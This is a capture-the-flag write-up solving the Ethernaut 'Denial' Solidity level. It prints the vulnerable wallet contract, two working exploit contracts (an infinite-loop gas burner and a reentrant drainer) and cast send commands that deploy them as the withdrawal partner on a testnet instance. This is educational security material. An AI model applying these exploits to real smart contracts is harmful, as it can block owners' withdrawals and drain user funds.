Denial - The Ethernaut - Writeup
This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.
If you can deny the owner from withdrawing funds when they call
withdraw()(whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level.
The code of the challenge’s contract is the following:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint256 timeLastWithdrawn;
mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint256 amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value: amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
}
We need to create a DoS of the contract when the owner executes the function withdraw. We control the partner address (through the setWithdrawPartner function), to which a call is made that does not specify a fixed gas limit.
We can DoS this contract in a few different ways.
First solution
As said before, there is no limit in the gas that the call is allowed to spend. Therefore, we can define the receive function of our partner to be simply an infinite loop, spending all the gas received. Depending on how much gas the caller sent initially, the transaction won’t have enough gas left to finish executing the rest of the opcodes.
We can use this contract:
contract Exploit {
receive() external payable {
while(true) {}
}
}
This contract was deployed at 0x043d03f86dd57b977E70631a95fe7845FD088b75. Let’s make it a partner:
cast send 0x6AC3c121a2a8400FB0e6483028414836e65F202e "setWithdrawPartner(address)" 0x043d03f86dd57b977E70631a95fe7845FD088b75 --private-key $PRIVATE_KEY --rpc-url $SEPOLIA_RPC_URL
And submit the isntance:

Second solution
I came up with another solution that is not based on spending all the gas received. Instead, it makes the transfer function fail using reentrancy. The logic is: if the challenge does not have enough ether, the transaction will fail.
The withdraw function hands out the same amount to the partner and to the owner. We can call the withdraw function several times until there is no enough ether left for the owner:
contract Exploit {
receive() external payable {
if (address(this).balance < msg.sender.balance){
Denial(msg.sender).withdraw();
}
}
}
The if condition makes the exploit spend the least amount of ether possible. The contract was deployed at 0xA5743Aaa06Dd631897c316FE1a234194d2E9BFB2. We make it a partner and solve the challenge:
cast send 0x6AC3c121a2a8400FB0e6483028414836e65F202e "setWithdrawPartner(address)" 0xA5743Aaa06Dd631897c316FE1a234194d2E9BFB2 --private-key $PRIVATE_KEY --rpc-url $SEPOLIA_RPC_URL
